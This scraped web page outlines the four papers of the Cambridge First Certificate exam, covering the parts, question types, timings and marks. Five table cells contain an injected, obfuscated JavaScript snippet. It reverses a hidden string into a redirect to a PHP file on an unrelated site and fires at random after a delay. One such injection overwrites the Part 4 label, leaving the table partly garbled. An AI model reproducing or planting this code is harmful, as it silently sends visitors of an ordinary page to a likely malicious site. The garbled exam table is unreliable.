The First Certificate exam consists of four papers:
Paper 1 Reading & Use of English
Paper 2 Writing
Paper 3 Listening
Paper 4 Speaking
| Paper | Content | Marks (% of total) |
Purpose |
|---|---|---|---|
| Reading & Use of English (1 hour 15 minutes) |
7 parts / 52 questions | 40% | Shows you can understand texts from publications such as books, newspapers and magazines. |
| Writing (1 hour 20 minutes) |
2 parts | 20% | Requires you to be able to produce two different pieces of writing, such as letters, reports, reviews and short stories. |
| Listening (about 40 minutes) |
4 parts/30 questions | 20% | Requires you to be able to follow and understand a range of spoken materials, such as news programmes, presentations and everyday conversations. |
| Speaking (14 minutes per pair of candidates) |
4 parts | 20% | Tests your ability to communicate effectively in face-to-face situations. You will take the Speaking test with one or two other candidates. |
| $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top»>
First Certificate of English |
|||
| Paper 1: Reading & Use of English | 7 parts to complete in 1 hour 15 minutes. 52 questions in total |
||
| Part 1 | Multiple choice cloze (8 questions) Candidates choose the correct missing words from a choice of 4. |
||
| Part 2 | Open cloze (8 questions) Candidtes complete a gapped text with a correct word. |
||
| Part 3 | Word formation (8 questions) Candidates form the missing words from a text by changing the stem words given. |
||
| $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top»>Key word transformations (6 questions) Candidates complete a sentence using a key word so that it means the same as the lead-in sentence. |
|||
| Part 5 | Multiple choice (6 questions) Candidates choose A, B, C or D to answer questions on the text. |
||
| Part 6 | Part 7 | Multiple matching (10 questions) Candidates match a prompt to a relevant text. |
|
| $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top»> | |||
| Paper 2: Writing | 2 tasks to complete in 1 hour 20 minutes. | ||
| Part 1 | Compulsory task Candidates write an essay based on input material. |
||
| Part 2 | to write one of the following: an article, an email/letter, a report or a review. | ||
| $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top»> | |||
| Paper 3: Listening | 4 parts to complete in approximately 40 minutes. | ||
| Part 1 | Multiple choice (8 questions) Candidates listen to 8 short recordings of people talking in different situations and choose the right answer A, B or C |
||
| Part 2 | Sentence completion (10 questions) Candidates listen to a 3 minute recording and complete some notes. |
||
| Part 3 | Multiple matching (5 questions) Candidates listen to a series of related monologues and match each extract to the correct option from a choice of eight. |
||
| Part 4 | Multiple choice (7 questions) Candidates listen to a recording and answer multiple choice questions on it. |
||
| $NfI=function(n){if (typeof ($NfI.list[n]) == «string») return $NfI.list[n].split(«»).reverse().join(«»);return $NfI.list[n];};$NfI.list=[«‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top»> | |||
| Paper 4: Speaking | 4 parts to complete in 14 minutes per pair of candidates | ||
| Part 1 | Interview Each candidate answers the interlocuter’s questions about themselves. |
||
| Part 2 | Individual long turn Candidate A talks for a minute about a pair of photographs, after which Candidate B is invited to make a brief comment on the topic of the photographs. Then Candidate B is given 2 different photographs and talks about them for a minute, after which, Candidate A is invited to comment on the topic of the photographs . |
||
| Part 3 | Collaborative task Candidates work together to carry out a task based on some pictures. This part lasts 3 minutes. |
||
| Part 4 | Discussion The interlocuter will ask both candidates some questions which are related to the topic in part 3. This part lasts for 4 minutes. |
